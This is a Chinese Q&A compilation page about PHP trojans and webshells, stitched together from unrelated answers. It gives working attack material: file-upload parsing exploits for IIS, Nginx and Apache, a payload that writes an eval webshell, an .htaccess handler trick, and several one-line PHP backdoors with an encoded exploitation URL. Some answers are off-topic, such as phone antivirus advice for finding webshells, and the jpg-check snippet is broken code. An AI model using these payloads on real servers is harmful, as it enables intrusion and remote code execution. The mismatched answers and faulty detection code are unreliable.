php木馬
① 怎麼樣徹底清除php中的木馬
去360官網下載360殺毒更新到最新的病毒庫後全盤掃描，發現病毒立即清除，重啟電腦，清楚隔離區文件，然後開啟360殺毒軟體的所有的主動防禦
② PHP木馬後門是什麼
後門木馬簡單點說就是隱蔽性很高的木馬。比如灰鴿子。後門木馬就是一種由原作者在編寫的木馬設置了一個後門程序，比如按6下shift就彈出許可權設置，這種快捷鍵一般只有原作者才知道的，然後原作者把這種木馬賣出，比如你買了他的木馬並且使用，你不知道快捷鍵密碼，所以最高許可權不在你這，而在他那兒~這樣你利用木馬盜號的過程中原作者就會知道，也就是說原作者可能利用你盜號，你所盜的號你知道，原作者也會知道。
如果你的電腦中了後門木馬病毒,你可以這樣,先下載360系統急救箱保存到D盤,重啟按F8進入帶網路連接的安全模式,使用360系統急救箱進行查殺 這樣就查殺的比較徹底了,然後啟動360殺毒 360安全衛士的木馬雲查殺功能查殺清除殘留就可以了.
③ 怎麼樣調用php圖片木馬
利用解析漏洞
一、IIS 5.x/6.0解析漏洞
IIS 6.0解析利用方法有兩種
1.目錄解析
/xx.asp/xx.jpg
2.文件解析
wooyun.asp;.jpg
第一種，在網站下建立文件夾的名字為 .asp、.asa 的文件夾，其目錄內的任何擴展名的文件都被IIS當作asp文件來解析並執行。
例如創建目錄 wooyun.asp，那麼
/wooyun.asp/1.jpg
將被當作asp文件來執行。假設黑闊可以控制上傳文件夾路徑,就可以不管你上傳後你的圖片改不改名都能拿shell了。
第二種，在IIS6.0下，分號後面的不被解析，也就是說
wooyun.asp;.jpg
會被伺服器看成是wooyun.asp還有IIS6.0 默認的可執行文件除了asp還包含這三種
/wooyun.asa
/wooyun.cer
/wooyun.cdx
二、IIS 7.0/IIS 7.5/ Nginx <8.03畸形解析漏洞
Nginx解析漏洞這個偉大的漏洞是我國安全組織80sec發現的…
在默認Fast-CGI開啟狀況下,黑闊上傳一個名字為wooyun.jpg，內容為
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
的文件，然後訪問wooyun.jpg/.php,在這個目錄下就會生成一句話木馬 shell.php
三、Nginx <8.03 空位元組代碼執行漏洞
影響版:0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37
Nginx在圖片中嵌入PHP代碼然後通過訪問
xxx.jpg%00.php
來執行其中的代碼
四、Apache解析漏洞
Apache 是從右到左開始判斷解析,如果為不可識別解析,就再往左判斷.
比如 wooyun.php.owf.rar 「.owf」和」.rar」 這兩種後綴是apache不可識別解析,apache就會把wooyun.php.owf.rar解析成php.
如何判斷是不是合法的後綴就是這個漏洞的利用關鍵,測試時可以嘗試上傳一個wooyun.php.rara.jpg.png…（把你知道的常見後綴都寫上…）去測試是否是合法後綴
五、其他
在windows環境下，xx.jpg[空格] 或xx.jpg. 這兩類文件都是不允許存在的，若這樣命名，windows會默認除去空格或點,黑客可以通過抓包，在文件名後加一個空格或者點繞過黑名單.若上傳成功，空格和點都會被windows自動消除,這樣也可以getshell。
如果在Apache中.htaccess可被執行.且可被上傳.那可以嘗試在.htaccess中寫入:
<FilesMatch "wooyun.jpg"> SetHandler application/x-httpd-php </FilesMatch>
然後再上傳shell.jpg的木馬, 這樣shell.jpg就可解析為php文件
④ php一句話木馬～呢
超級隱蔽的PHP後門：
<?php $_GET[a]($_GET[b]);?>
僅用GET函數就構成了木馬；
利用方法：
?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%%29%29};
執行後當前目錄生成c.php一句話木馬，當傳參a為eval時會報錯木馬生成失敗，為assert時同樣報錯，但會生成木馬，真可謂不可小視，簡簡單單的一句話，被延伸到這般應用
⑤ 如何精確查找PHP WEBSHELL木馬
請先嘗試卸載病毒程序。病毒會偽裝為正常軟體或者誘惑性名稱，一般的表現是手機自動下載其他推廣軟體、手機卡頓發熱、出現有遮擋的廣告等。甚至會攔截正常的銀行簡訊導致用戶的賬號被盜，銀行卡被盜刷等。若懷疑手機中存在木馬或者病毒，請嘗試按照以下步驟進行清除：
請嘗試安裝一款安全軟體（例如：手機管家等）。以手機管家為例，打開手機管家，點擊主界面上的一鍵體檢即可自動檢測手機中存在的問題，並且給出處理建議，點擊一鍵清除即可刪除病毒程序。若重啟手機發現病毒依然存在或者提示無法刪除，請先獲取ROOT許可權再進行深度查殺，獲取ROOT可以使用電腦端的一鍵ROOT工具進行。
若無法處理或處理無效請將手機送至售後進行維修。售後可能會需要購買憑證保修卡等。請一同攜帶。
⑥ php 防偽裝成jpg格式的php木馬文件
讀取文件
$data=readfile(xxx.jpg);
if((strpos($data,"php"))== -1){
echo "安全";
}else{
echo "文件中包含php字元，這不是一個圖形文件";
}
⑦ 如何實現一個php木馬
取簡單的也是最牛X的一句話木馬送給你！
eval($_POST[''])
⑧ 這個PHP文件是什麼，是木馬嗎
我粗略的看了一下，感覺這是一個通過瀏覽器執行SQL的程序，有一定危險性。
最好刪了，或者把後綴 .php改成 .php_del 防止執行
⑨ linux系統下怎麼預防php木馬
現在我給大家講一下在linux下如何預防php木馬。1.首先修改httpd.conf，如果你只允許你的php腳本程序在web目錄里操作，可以修改httpd.conf文件限制php的操作路徑。比如你的web目錄是/usr/local/apache/htdocs，那麼在httpd.conf里加上這么幾行： php_admin_valueopen_basedir /usr/local/apache/htdocs 這樣，如果腳本要讀取/usr/local/apache/htdocs以外的文件將不會被允許，如果錯誤顯示打開的話會提示這樣的錯誤： Warning:open_basedirrestrictionineffect.Fileisinwrongdirectoryin/usr/local/apache/htdocs/open.phponline4等等。 2、防止php木馬執行webshell 打開safe_mode，在php.ini中設置disable_functions=passthru，exec，shell_exec，system二者選一即可，也可都選 3、防止php木馬讀寫文件目錄 在php.ini中的disable_functions=passthru，exec，shell_exec，system後面加上php處理文件的函數主要有fopen，mkdir，rmdir，chmod，unlink，dir fopen，fread，fclose，fwrite，file_exists